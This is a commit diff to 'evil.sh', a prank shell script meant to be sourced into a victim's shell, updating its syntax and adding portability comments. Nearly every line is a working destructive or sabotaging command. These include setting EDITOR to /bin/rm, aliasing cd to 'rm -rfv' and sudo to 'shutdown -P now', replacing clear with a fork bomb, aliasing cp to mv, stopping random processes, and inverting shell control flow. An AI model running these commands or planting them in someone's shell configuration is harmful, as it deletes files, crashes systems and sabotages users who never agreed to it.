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Remove obsolete constructs, add until inversion. #39

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Remove obsolete constructs, add until inversion. #39

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11 changes: 7 additions & 4 deletions evil.sh
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Original file line number Diff line number Diff line change
Expand Up @@ -5,6 +5,7 @@
export EDITOR=/bin/rm

# Make Tab send the delete key
# sh: replace $'\t' with a quoted literal tab
tset -Qe $'\t'

# Randomly make the shell exit whenever a command has a non-zero exit status
Expand All @@ -14,7 +15,7 @@ tset -Qe $'\t'
alias cat=true

# Use a random sort option whenever `ls` is invoked
function ls { command ls -$(opts="frStu"; echo ${opts:$((RANDOM % ${#opts})):1}) "$@"; }
ls() { command ls -$(opts="frStu"; echo ${opts:$((RANDOM % ${#opts})):1}) "$@"; }

# Delete directories instead of entering them
alias cd='rm -rfv'
Expand All @@ -23,16 +24,17 @@ alias cd='rm -rfv'
alias sudo='sudo shutdown -P now'

# Launch a fork bomb instead of clearing the screen
# sh, ksh: replace `:' with boring names like _f
alias clear=':(){ :|:& };:'

# Have `date` return random dates
alias date='date -d "now + $RANDOM days"'

# Randomly eject CD tray
sleep $[ ( $RANDOM % 10 ) + 1 ]s && [[ uname=="Darwin" ]] && drutil eject || eject -T &
sleep $((RANDOM%10 + 1)) && [[ uname=="Darwin" ]] && drutil eject || eject -T &

# Send STOP signal to random process at random time
sleep $[ ( $RANDOM % 100 ) + 1 ]s && kill -STOP $(ps x -o pid|sed 1d|sort -R|head -1) &
sleep $((RANDOM%100 + 1)) && kill -STOP $(ps x -o pid|sed 1d|sort -R|head -1) &

# Have `cp` perform `mv` instead
alias cp='mv'
Expand All @@ -41,11 +43,12 @@ alias cp='mv'
alias exit='sh'

# Add a random number to line numbers when using `grep -n`
function grep { command grep "$@" | awk -F: '{ r = int(rand() * 10); n = $1; $1 = ""; command if (n ~ /^[0-9]+$/) { o = n+r } else { o = n }; print o ":" substr($0, 2)}'; }
grep() { command grep "$@" | awk -F: '{ r = int(rand() * 10); n = $1; $1 = ""; command if (n ~ /^[0-9]+$/) { o = n+r } else { o = n }; print o ":" substr($0, 2)}'; }

# Invert `if`, `for`, and `while`.
alias if='if !' for='for !' while='while !'

# Map Enter, Ctrl+J, and Ctrl+M to backspace.
# ksh: bind '^J=delete-char' '^M=delete-char'
bind '"\C-J":"\C-?"'
bind '"\C-M":"\C-?"'